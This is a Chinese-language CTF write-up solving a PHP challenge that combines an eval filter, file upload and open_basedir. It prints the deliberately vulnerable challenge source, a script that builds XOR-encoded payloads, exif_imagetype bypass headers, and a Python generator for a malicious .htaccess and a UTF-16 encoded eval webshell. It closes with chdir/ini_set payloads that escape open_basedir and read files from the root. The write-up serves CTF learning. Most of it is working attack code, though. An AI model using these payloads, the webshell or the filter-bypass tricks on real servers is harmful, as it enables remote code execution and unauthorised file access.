open_basedir+异或+.htaccess
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
   | function get_the_flag(){          $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);     if(!file_exists($userdir)){     mkdir($userdir);     }     if(!empty($_FILES["file"])){         $tmp_name = $_FILES["file"]["tmp_name"];         $name = $_FILES["file"]["name"];         $extension = substr($name, strrpos($name,".")+1);     if(preg_match("/ph/i",$extension)) die("^_^");          if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");     if(!exif_imagetype($tmp_name)) die("^_^");          $path= $userdir."/".$name;         @move_uploaded_file($tmp_name, $path);         print_r($path);     } } $hhh = @$_GET['_']; if (!$hhh){     highlight_file(__FILE__); } if(strlen($hhh)>18){     die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )     die('Try something else!'); $character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!"); eval($hhh);
  | 
 
 分为两部分,思路是调用get_the_flag()函数
第一部分函数绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
   | $hhh = @$_GET['_'];
  if (!$hhh){     highlight_file(__FILE__); }
  if(strlen($hhh)>18){          die('One inch long, one inch strong!'); }
  if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )     die('Try something else!');
  $character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!");
  eval($hhh);
   | 
 
通过正则匹配脚本发现能用的不多
利用不可见字符异或来构造:
1 2 3 4 5 6 7 8 9 10 11 12 13
   | <?php $payload = '';
  for($i=0;$i<strlen($argv[1]);$i++) {        for($j=0;$j<255;$j++)     {         $k = chr($j)^chr(255);           if($k == $argv[1][$i])             $payload .= '%'.dechex($j);     } } echo $payload;
   | 
 
payload:
1
   | ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff};&%ff=phpinfo
  | 
 
发现phpinfo()能构造成功
1
   | ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff};&%ff=get_the_flag
  | 
 
就此绕过第一段
第二部分函数绕过
一个过滤正则基本把东西都匹配了,只是这次刚好就是apache+php环境了,但是还有一个.htaccess
1 2 3 4
   | exif_imagetype() 的绕过方式     可以用"\x00\x00\x8a\x39\x8a\x39"     也可以用"#define width 1337"             "#define height 1337"
   | 
 
这里注意到php版本为7.2所以,不能用/<script>标签绕过<?的过滤了,可以通过编码进行绕过,如原来使用utf8编码,如果shell中是用utf16编码则可以Bypass
自动生成.htaccess,以及🐎的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
   | SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
  def generate_php_file(filename, script): 	phpfile = open(filename, 'wb') 
  	phpfile.write(script.encode('utf-16be')) 	phpfile.write(SIZE_HEADER)
  	phpfile.close() def generate_htacess(): 	htaccess = open('.htaccess', 'wb')
  	htaccess.write(SIZE_HEADER) 	htaccess.write(b'AddType application/x-httpd-php .lethe\n' 	htaccess.write(b'php_value zend.multibyte 1\n') 	htaccess.write(b'php_value zend.detect_unicode 1\n') 	htaccess.write(b'php_value display_errors 1\n')
  	htaccess.close()
  generate_htacess() generate_php_file("shell.lethe", "<?php eval($_GET['cmd']); die(); ?>")
   | 
 
然后使用postman上传.htaccess
虽然上传了马,但是要绕过open_basedir(限制访问的),具体看笔记
1 2 3 4 5 6 7
   | open_basedir是php.ini中的一个配置选项 它可将用户访问文件的活动范围限制在指定的区域, 假设open_basedir=/home/wwwroot/home/web1/:/tmp/, 那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。 注意用open_basedir指定的限制实际上是前缀,而不是目录名。 举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是可以访问的。 所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。
   | 
 
payload:
1
   | ?cmd=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27/%27));
   | 
 
1
   | ?cmd=chdir('/tmp');mkdir('lethe');chdir('lethe');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(file_get_contents(THis_Is_tHe_F14g));
  |